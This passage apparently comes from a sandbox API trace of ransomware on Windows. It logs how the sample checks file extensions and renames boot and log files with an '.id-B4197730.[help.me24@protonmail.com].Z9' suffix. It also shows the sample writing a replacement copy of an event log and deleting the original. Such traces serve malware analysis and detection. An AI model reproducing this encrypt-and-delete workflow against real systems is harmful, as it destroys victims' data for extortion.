	[0077.919] lstrlenW (lpString="BCD.LOG2") returned 8
	[0077.919] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0077.919] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=0) returned 1
	[0077.919] CloseHandle (hObject=0x324) returned 1
	[0077.919] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0077.919] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0077.919] lstrlenW (lpString=".doc") returned 4
	[0077.919] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0077.919] lstrlenW (lpString=".docx") returned 5
	[0077.919] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0077.920] lstrlenW (lpString=".pdf") returned 4
	[0077.920] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0077.920] lstrlenW (lpString=".xls") returned 4
	[0077.920] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0077.920] lstrlenW (lpString=".xlsx") returned 5
	[0077.920] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0077.920] lstrlenW (lpString=".ppt") returned 4
	[0077.920] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0077.920] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0077.920] lstrlenW (lpString=".zip") returned 4
	[0077.920] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0077.920] lstrlenW (lpString=".rar") returned 4
	[0077.920] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0077.920] lstrlenW (lpString=".bz2") returned 4
	[0077.920] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0077.920] lstrlenW (lpString=".7z") returned 3
	[0077.920] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0077.920] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0077.920] lstrlenW (lpString=".dbf") returned 4
	[0077.920] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0077.920] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0077.920] lstrlenW (lpString=".1cd") returned 4
	[0077.920] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0077.920] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0077.920] lstrlenW (lpString=".jpg") returned 4
	[0077.920] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0077.920] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0077.920] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0077.920] lstrlenW (lpString=".doc") returned 4
	[0077.920] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0077.920] lstrlenW (lpString=".docx") returned 5
	[0077.920] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0077.920] lstrlenW (lpString=".pdf") returned 4
	[0077.920] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0077.920] lstrlenW (lpString=".xls") returned 4
	[0077.920] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0077.921] lstrlenW (lpString=".xlsx") returned 5
	[0077.921] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0077.921] lstrlenW (lpString=".ppt") returned 4
	[0077.921] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0077.921] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0077.921] lstrlenW (lpString=".zip") returned 4
	[0077.921] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0077.921] lstrlenW (lpString=".rar") returned 4
	[0077.921] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0077.921] lstrlenW (lpString=".bz2") returned 4
	[0077.921] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0077.921] lstrlenW (lpString=".7z") returned 3
	[0077.921] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0077.921] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0077.921] lstrlenW (lpString=".dbf") returned 4
	[0077.921] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0077.921] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0077.921] lstrlenW (lpString=".1cd") returned 4
	[0077.921] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0077.921] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0077.921] lstrlenW (lpString=".jpg") returned 4
	[0077.921] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0077.921] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0077.921] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0077.921] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0077.921] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=77664) returned 1
	[0077.922] CloseHandle (hObject=0x324) returned 1
	[0077.922] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20
	[0077.922] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0077.922] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0077.927] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0077.927] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0077.927] lstrlenW (lpString=".doc") returned 4
	[0077.927] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0077.927] lstrlenW (lpString=".docx") returned 5
	[0077.927] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0077.927] lstrlenW (lpString=".pdf") returned 4
	[0077.927] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0077.927] lstrlenW (lpString=".xls") returned 4
	[0077.927] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0077.928] lstrlenW (lpString=".xlsx") returned 5
	[0077.928] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0077.928] lstrlenW (lpString=".ppt") returned 4
	[0077.928] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0077.928] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0077.928] lstrlenW (lpString=".zip") returned 4
	[0077.928] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0077.928] lstrlenW (lpString=".rar") returned 4
	[0077.928] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0077.928] lstrlenW (lpString=".bz2") returned 4
	[0077.928] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0077.928] lstrlenW (lpString=".7z") returned 3
	[0077.928] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0077.928] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0077.928] lstrlenW (lpString=".dbf") returned 4
	[0077.928] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0077.928] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0077.928] lstrlenW (lpString=".1cd") returned 4
	[0077.928] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0077.928] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0077.928] lstrlenW (lpString=".jpg") returned 4
	[0077.928] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0077.928] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0077.928] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0077.928] lstrlenW (lpString=".doc") returned 4
	[0077.928] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0077.928] lstrlenW (lpString=".docx") returned 5
	[0077.928] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0077.928] lstrlenW (lpString=".pdf") returned 4
	[0077.928] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0077.928] lstrlenW (lpString=".xls") returned 4
	[0077.928] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0077.928] lstrlenW (lpString=".xlsx") returned 5
	[0077.928] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0077.928] lstrlenW (lpString=".ppt") returned 4
	[0077.928] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0077.928] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0077.929] lstrlenW (lpString=".zip") returned 4
	[0077.929] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0077.929] lstrlenW (lpString=".rar") returned 4
	[0077.929] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0077.929] lstrlenW (lpString=".bz2") returned 4
	[0077.929] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0077.929] lstrlenW (lpString=".7z") returned 3
	[0077.929] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0077.929] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0077.929] lstrlenW (lpString=".dbf") returned 4
	[0077.929] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0077.929] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0077.929] lstrlenW (lpString=".1cd") returned 4
	[0077.929] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0077.929] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0077.929] lstrlenW (lpString=".jpg") returned 4
	[0077.929] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0077.929] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0077.929] lstrlenW (lpString="bootspaces.dll") returned 14
	[0077.929] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0077.930] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=95648) returned 1
	[0077.930] CloseHandle (hObject=0x324) returned 1
	[0077.930] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20
	[0077.930] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0077.930] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0077.930] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0077.930] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0077.931] lstrlenW (lpString=".doc") returned 4
	[0077.931] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0077.931] lstrlenW (lpString=".docx") returned 5
	[0077.931] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0077.931] lstrlenW (lpString=".pdf") returned 4
	[0077.931] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0077.931] lstrlenW (lpString=".xls") returned 4
	[0077.931] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0077.931] lstrlenW (lpString=".xlsx") returned 5
	[0077.931] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0077.931] lstrlenW (lpString=".ppt") returned 4
	[0077.931] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0077.931] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0077.931] lstrlenW (lpString=".zip") returned 4
	[0077.931] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0077.931] lstrlenW (lpString=".rar") returned 4
	[0077.931] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0077.931] lstrlenW (lpString=".bz2") returned 4
	[0077.931] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0077.931] lstrlenW (lpString=".7z") returned 3
	[0077.931] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0077.931] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0077.931] lstrlenW (lpString=".dbf") returned 4
	[0077.931] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0077.931] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0077.931] lstrlenW (lpString=".1cd") returned 4
	[0077.931] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0077.931] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0077.931] lstrlenW (lpString=".jpg") returned 4
	[0077.931] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0077.931] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0077.931] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0077.931] lstrlenW (lpString=".doc") returned 4
	[0077.931] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0077.931] lstrlenW (lpString=".docx") returned 5
	[0077.931] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0077.932] lstrlenW (lpString=".pdf") returned 4
	[0077.932] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0077.932] lstrlenW (lpString=".xls") returned 4
	[0077.932] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0077.932] lstrlenW (lpString=".xlsx") returned 5
	[0077.932] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0077.932] lstrlenW (lpString=".ppt") returned 4
	[0077.932] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0077.932] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0077.932] lstrlenW (lpString=".zip") returned 4
	[0077.932] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0077.932] lstrlenW (lpString=".rar") returned 4
	[0077.932] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0077.932] lstrlenW (lpString=".bz2") returned 4
	[0077.932] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0077.932] lstrlenW (lpString=".7z") returned 3
	[0077.932] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0077.932] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0077.932] lstrlenW (lpString=".dbf") returned 4
	[0077.932] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0077.932] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0077.932] lstrlenW (lpString=".1cd") returned 4
	[0077.932] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0077.932] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0077.932] lstrlenW (lpString=".jpg") returned 4
	[0077.932] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0077.932] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0077.932] lstrlenW (lpString="bootvhd.dll") returned 11
	[0077.932] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0077.933] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=99744) returned 1
	[0077.933] CloseHandle (hObject=0x324) returned 1
	[0077.933] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20
	[0077.933] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0077.933] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0077.933] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0077.933] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0077.933] lstrlenW (lpString=".doc") returned 4
	[0077.933] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0077.933] lstrlenW (lpString=".docx") returned 5
	[0077.933] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0077.933] lstrlenW (lpString=".pdf") returned 4
	[0077.933] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0077.933] lstrlenW (lpString=".xls") returned 4
	[0077.933] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0077.933] lstrlenW (lpString=".xlsx") returned 5
	[0077.933] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0077.933] lstrlenW (lpString=".ppt") returned 4
	[0077.933] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0077.933] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0077.933] lstrlenW (lpString=".zip") returned 4
	[0077.933] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0077.933] lstrlenW (lpString=".rar") returned 4
	[0077.933] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0077.933] lstrlenW (lpString=".bz2") returned 4
	[0077.933] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0077.933] lstrlenW (lpString=".7z") returned 3
	[0077.934] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0077.934] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0077.934] lstrlenW (lpString=".dbf") returned 4
	[0077.934] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0077.940] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0077.942] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0077.944] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0077.946] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0078.281] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0
	[0078.283] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0078.294] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.294] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.294] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0078.296] GetLastError () returned 0x0
	[0078.296] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0078.312] WriteFile (in: hFile=0x364, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0078.314] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.314] WriteFile (in: hFile=0x364, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0078.314] SetEndOfFile (hFile=0x364) returned 1
	[0078.314] CloseHandle (hObject=0x364) returned 1
	[0078.316] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.316] SetEndOfFile (hFile=0x324) returned 1
	[0078.317] CloseHandle (hObject=0x324) returned 1
	[0078.317] SetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0078.317] DeleteFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 1
	[0078.318] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0078.318] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0078.318] lstrlenW (lpString=".doc") returned 4
	[0078.318] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.318] lstrlenW (lpString=".docx") returned 5
	[0078.318] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.318] lstrlenW (lpString=".pdf") returned 4
	[0078.318] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.318] lstrlenW (lpString=".xls") returned 4
	[0078.318] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.318] lstrlenW (lpString=".xlsx") returned 5
	[0078.318] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.318] lstrlenW (lpString=".ppt") returned 4
	[0078.318] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.318] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0078.318] lstrlenW (lpString=".zip") returned 4
	[0078.318] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.318] lstrlenW (lpString=".rar") returned 4
	[0078.318] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.318] lstrlenW (lpString=".bz2") returned 4
	[0078.318] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.318] lstrlenW (lpString=".7z") returned 3
	[0078.318] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.318] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0078.318] lstrlenW (lpString=".dbf") returned 4
	[0078.318] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.318] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0078.318] lstrlenW (lpString=".1cd") returned 4
	[0078.318] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.318] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0078.318] lstrlenW (lpString=".jpg") returned 4
	[0078.318] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.318] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0078.319] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0078.319] lstrlenW (lpString=".doc") returned 4
	[0078.319] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.319] lstrlenW (lpString=".docx") returned 5
	[0078.319] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.319] lstrlenW (lpString=".pdf") returned 4
	[0078.319] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.319] lstrlenW (lpString=".xls") returned 4
	[0078.319] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.319] lstrlenW (lpString=".xlsx") returned 5
	[0078.319] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.319] lstrlenW (lpString=".ppt") returned 4
	[0078.319] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.319] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0078.319] lstrlenW (lpString=".zip") returned 4
	[0078.319] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.319] lstrlenW (lpString=".rar") returned 4
	[0078.319] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.319] lstrlenW (lpString=".bz2") returned 4
	[0078.319] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.319] lstrlenW (lpString=".7z") returned 3
	[0078.319] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.319] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0078.319] lstrlenW (lpString=".dbf") returned 4
	[0078.319] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.319] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0078.319] lstrlenW (lpString=".1cd") returned 4
	[0078.319] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.319] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0078.319] lstrlenW (lpString=".jpg") returned 4
	[0078.319] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.319] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0078.320] lstrlenW (lpString="Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 47
